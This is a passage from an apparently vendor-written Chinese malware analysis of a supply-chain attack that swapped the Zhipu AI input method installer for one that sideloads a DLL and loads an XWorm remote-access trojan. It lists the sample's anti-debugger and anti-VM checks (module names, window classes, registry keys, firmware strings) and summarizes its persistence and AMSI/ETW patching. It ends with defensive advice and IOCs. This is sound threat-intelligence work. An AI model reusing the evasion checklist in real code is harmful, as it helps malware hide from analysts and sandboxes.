  1. 调用ZwQuerySystemInformation获取系统加载的内核模块列表,检测是否存在以下模块:
模块名称
fengyue.sys
FRDTSC.SYS
extrem.sys
Syser.sys
HanOlly.sys
iceext.sys
ntice.sys
FileMonitor.sys
Filem
REGMON
regsys
sysregm
PROCMON
Kernel Detective
CisUtMonitor
Revoflt
  1. 调用函数NtSetInformationThread设置当前线程上下文ThreadHideFromDebugger的值为0x11
  2. 调用函数ZwQueryInformationProcess查询当前进程ProcessDebugPort信息,若存在则表示当前进程处于调试状态。
  3. 调用函数ZwQueryInformationProcess查询当前进程ProcessDebugObjectHandle信息,若存在则表示当前进程处于调试状态。
  4. 调用函数FindWindowA查找以下窗口:
窗口类名 窗口标题
"OLLYDBG" NULL
"GBDYLLO" NULL
"pediy06" NULL
"FilemonClass" NULL
0 "File Monitor – Sysinternals: www.sysinternals.com"
"PROCMON_WINDOW_CLASS" NULL
0 "Process Monitor – Sysinternals: www.sysinternals.com"
"RegmonClass" NULL
"Registry Monitor – Sysinternals: www.sysinternals.com" NULL
"18467-41" NULL
  1. 调用函数GetModuleHandleA检查进程中是否存在模块cmdvrt32.dllSbieDll.dll
  2. 检查注册表项SYSTEM\\CurrentControlSet\\ControlSystemStartOptions是否存在可疑字符串。
  3. 检测是否存在SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity
  4. 检查注册表项SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000DriverDesc的值是否存在可疑字符串。
  5. 检查注册表项Hardware\\description\\System中的,SystemBiosVersionVideoBiosVersion的值是否存在可疑字符串。
  6. 检查是否存在注册表项HARDWARE\\ACPI\\DSDT\\VBOX__
  7. 调用函数GetSystemFirmwareTable获取系统固件表,检查其中是否存在可疑字符串(如:VMware等)。

总结

  本次事件是针对智谱AI输入法的供应链攻击,攻击者替换官网下载链接指向的安装包,植入包含恶意 DLL 的恶意程序。该恶意程序具有以下显著特征:

  1. 隐蔽性强:借助合法搜狗拼音输入法组件侧加载恶意DLL,同时启动正常的智谱AI输入法安装程序掩盖恶意行为;
  2. 反分析能力突出:恶意DLL采用加壳保护,代码中包含多层调试器、虚拟机检测逻辑,通过时间差校验等方式规避沙箱分析;
  3. 持久化手段多样:通过注册表启动项、计划任务(区分普通 / 最高权限)等方式实现恶意程序的持久化运行;
  4. 对抗安全机制:通过补丁AMSIETW等安全相关函数,绕过系统安全检测;
  5. 载荷加载复杂:通过多层shellcode解码、内存加载内嵌PE的方式执行最终恶意载荷(VB.NET编写的XWorm远控木马),增加溯源和分析难度。

安全建议

  1. 验证文件完整性:从官方渠道下载软件后,核对文件哈希值、数字签名,拒绝运行无有效签名或哈希不符的程序;
  2. 开启安全软件防护:启用终端安全软件的实时防护功能,及时更新病毒库,对下载文件、运行程序进行扫描;
  3. 监控异常进程与文件:关注%LOCALAPPDATA%目录下的异常文件夹(如SougouIME)、可疑DLL文件(version.dllrpc.dll)及计划任务创建行为;
  4. 限制权限运行程序:避免使用管理员权限日常运行软件,降低恶意程序提权和持久化风险;
  5. 及时更新系统与软件:修补系统和第三方软件漏洞,减少攻击者利用漏洞执行恶意代码的可能。

瑞星目前已经可以检出此次攻击事件的相关样本

image

沦陷信标(IOC)

  • MD5

    0B7B91448F7D5884804B210D9EBF7DFD
    E0145C0C1439528C3012BE7D0F63409D
    987E51176788C759EB930ADE655CFB07
  • Domain

    microsoft.timefixinstaller.online
  • 瑞星病毒名

    Trojan.Agent!1.13FA8
    Trojan.Agent!1.13FA9

Author

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *